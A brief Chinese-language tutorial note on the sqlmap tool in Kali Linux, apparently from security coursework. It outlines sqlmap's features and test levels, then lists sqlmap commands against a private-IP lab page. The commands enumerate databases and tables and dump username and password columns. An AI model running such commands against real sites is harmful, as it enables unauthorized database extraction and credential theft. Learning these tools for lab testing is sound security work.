5.SQL Map工具的使用
一.kali系统 SQL Map工具
1.SQL Map可以完成注入点的发现，数据库类型的确认，WebShell权限和路径的确认，拖库等一系列功能
2.测试的功能一共分为五级，level1-level5
level1属于基础级，payload相对较少
level5属于最顶级，payload相对较多
sqlmap -u "http://192.168.19.130:8443/security/read.php?id=1"
--Cookie=PHPSESSID=cbcb9235844227a4066a5e0e65601f01
sqlmap -u "http://192.168.19.130:8443/security/read.php?id=1"
--level=5
sqlmap -u "http://192.168.19.130:8443/security/read.php?id=1"
--dbs
sqlmap -u "http://192.168.19.130:8443/security/read.php?id=1"
--current-db
sqlmap -u "http://192.168.19.130:8443/security/read.php?id=1"
--tables -D learn
sqlmap -u "http://192.168.19.130:8443/security/read.php?id=1"
--dump -C "userid,username,passwd" -T "user" -D "learn"
